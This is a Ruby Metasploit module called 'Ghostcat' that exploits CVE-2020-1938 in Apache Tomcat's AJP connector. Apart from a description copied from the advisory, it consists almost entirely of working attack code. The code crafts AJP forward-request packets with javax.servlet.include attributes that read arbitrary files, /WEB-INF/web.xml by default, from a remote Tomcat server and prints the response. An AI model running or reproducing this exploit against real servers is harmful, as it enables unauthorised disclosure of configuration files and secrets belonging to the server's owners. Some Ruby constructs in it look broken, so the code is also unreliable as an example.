require "msf/core"
class MetasploitModule < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
"Name" => "Ghostcat",
"Description" => %q{
When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed: - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.
},
"Author" =>
[
"A Security Researcher of Chaitin Tech", #POC
"ThienNV - SunCSR" #Metasploit Module
],
"License" => MSF_LICENSE,
"References" =>
[
[ "CVE", "2020-1938"]
],
"Privileged" => false,
"Platform" => %w{ java linux win},
"Targets" =>
[
["Automatic",
{
"Arch" => ARCH_JAVA,
"Platform" => "win"
}
],
[ "Java Windows",
{
"Arch" => ARCH_JAVA,
"Platform" => "win"
}
],
[ "Java Linux",
{
"Arch" => ARCH_JAVA,
"Platform" => "linux"
}
]
],
"DefaultTarget" => 0))
register_options(
[
OptString.new("FILENAME",[true,"File name","/WEB-INF/web.xml"]),
OptBool.new('SSL', [ true, 'SSL', false ]),
OptPort.new('PORTWEB', [ false, 'Set a port webserver'])
],self.class)
end
def method2code(method)
methods = {
"OPTIONS" => 1,
"GET" => 2,
"HEAD" => 3,
"POST" => 4,
"PUT" => 5,
"DELETE" => 6,
"TRACE" => 7,
"PROPFIND" => 8
}
code = methods[method]
return code
end
def make_headers(headers)
header2code = {
"accept" => "\xA0\x01",
"accept-charset" => "\xA0\x02",
"accept-encoding" => "\xA0\x03",
"accept-language" => "\xA0\x04",
"authorization" => "\xA0\x05",
"connection" => "\xA0\x06",
"content-type" => "\xA0\x07",
"content-length" => "\xA0\x08",
"cookie" => "\xA0\x09",
"cookie2" => "\xA0\x0A",
"host" => "\xA0\x0B",
"pragma" => "\xA0\x0C",
"referer" => "\xA0\x0D",
"user-agent" => "\xA0\x0E"
}
headers_ajp = Array.new
for (header_name, header_value) in headers do
code = header2code[header_name].to_s
if code != ""
headers_ajp.append(code)
headers_ajp.append(ajp_string(header_value.to_s))
else
headers_ajp.append(ajp_string(header_name.to_s))
headers_ajp.append(ajp_string(header_value.to_s))
end
end
return int2byte(headers.length,2), headers_ajp
end
def make_attributes(attributes)
attribute2code = {
"remote_user" => "\x03",
"auth_type" => "\x04",
"query_string" => "\x05",
"jvm_route" => "\x06",
"ssl_cert" => "\x07",
"ssl_cipher" => "\x08",
"ssl_session" => "\x09",
"req_attribute" => "\x0A",
"ssl_key_size" => "\x0B"
}
attributes_ajp = Array.new
for attr in attributes
name = attr.keys.first.to_s
code = (attribute2code[name]).to_s
value = attr[name]
if code != ""
attributes_ajp.append(code)
if code == "\x0A"
for v in value
attributes_ajp.append(ajp_string(v.to_s))
end
else
attributes_ajp.append(ajp_string(value.to_s))
end
end
end
return attributes_ajp
end
def ajp_string(message_bytes)
message_len_int = message_bytes.length
return int2byte(message_len_int,2) + message_bytes + "\x00"
end
def int2byte(data, byte_len=1)
if byte_len == 1
return [data].pack("C")
else
return [data].pack("n*")
end
end
def make_forward_request_package(method,headers,attributes)
prefix_code_int = 2
prefix_code_bytes = int2byte(prefix_code_int)
method_bytes = int2byte(method2code(method))
protocol_bytes = "HTTP/1.1"
req_uri_bytes = "/index.txt"
remote_addr_bytes = "127.0.0.1"
remote_host_bytes = "localhost"
server_name_bytes = datastore['RHOST'].to_s
if datastore['SSL'] == true
is_ssl_boolean = 1
else
is_ssl_boolean = 0
end
server_port_int = datastore['PORTWEB']
if server_port_int.to_s == ""
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
end
is_ssl_bytes = int2byte(is_ssl_boolean,1)
server_port_bytes = int2byte(server_port_int, 2)
headers.append(["host", "#{server_name_bytes}:#{server_port_int}"])
num_headers_bytes, headers_ajp_bytes = make_headers(headers)
attributes_ajp_bytes = make_attributes(attributes)
message = Array.new
message.append(prefix_code_bytes)
message.append(method_bytes)
message.append(ajp_string(protocol_bytes.to_s))
message.append(ajp_string(req_uri_bytes.to_s))
message.append(ajp_string(remote_addr_bytes.to_s))
message.append(ajp_string(remote_host_bytes.to_s))
message.append(ajp_string(server_name_bytes.to_s))
message.append(server_port_bytes)
message.append(is_ssl_bytes)
message.append(num_headers_bytes)
message += headers_ajp_bytes
message += attributes_ajp_bytes
message.append("\xff")
message_bytes = message.join
send_bytes = "\x12\x34" + ajp_string(message_bytes.to_s)
return send_bytes
end
def send_recv_once(data)
buf = ""
begin
connect(true, {'RHOST'=>"#{datastore['RHOST'].to_s}", 'RPORT'=>datastore['RPORT'].to_i, 'SSL'=>datastore['SSL']})
sock.put(data)
buf = sock.get_once || ""
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
disconnect
end
return buf
end
def read_buf_string(buf, idx)
len = buf[idx..(idx+2)].unpack('n')[0]
idx += 2
print "#{buf[idx..(idx+len)]}"
idx += len + 1
idx
end
def parse_response(buf, idx)
common_response_headers = {
"\x01" => "Content-Type",
"\x02" => "Content-Language",
"\x03" => "Content-Length",
"\x04" => "Date",
"\x05" => "Last-Modified",
"\x06" => "Location",
"\x07" => "Set-Cookie",
"\x08" => "Set-Cookie2",
"\x09" => "Servlet-Engine",
"\x0a" => "Status",
"\x0b" => "WWW-Authenticate",
}
idx += 2
idx += 2
if buf[idx] == "\x04"
idx += 1
print "Status Code: "
idx += 2
idx = read_buf_string(buf, idx)
puts
header_num = buf[idx..(idx+2)].unpack('n')[0]
idx += 2
for i in 1..header_num
if buf[idx] == "\xA0"
idx += 1
print "#{common_response_headers[buf[idx]]}: "
idx += 1
idx = read_buf_string(buf, idx)
puts
else
idx = read_buf_string(buf, idx)
print(": ")
idx = read_buf_string(buf, idx)
puts
end
end
elsif buf[idx] == "\x05"
return 0
elsif buf[idx] == "\x03"
idx += 1
puts
idx = read_buf_string(buf, idx)
else
return 1
end
parse_response(buf, idx)
end
def run
headers = Array.new
method = "GET"
target_file = datastore['FILENAME'].to_s
attributes = [
{"req_attribute" => ["javax.servlet.include.request_uri", "index"]},
{"req_attribute" => ["javax.servlet.include.path_info" , target_file]},
{"req_attribute" => ["javax.servlet.include.servlet_path" , "/"]}
]
data = make_forward_request_package(method, headers, attributes)
buf = send_recv_once(data)
parse_response(buf, 0)
end
end
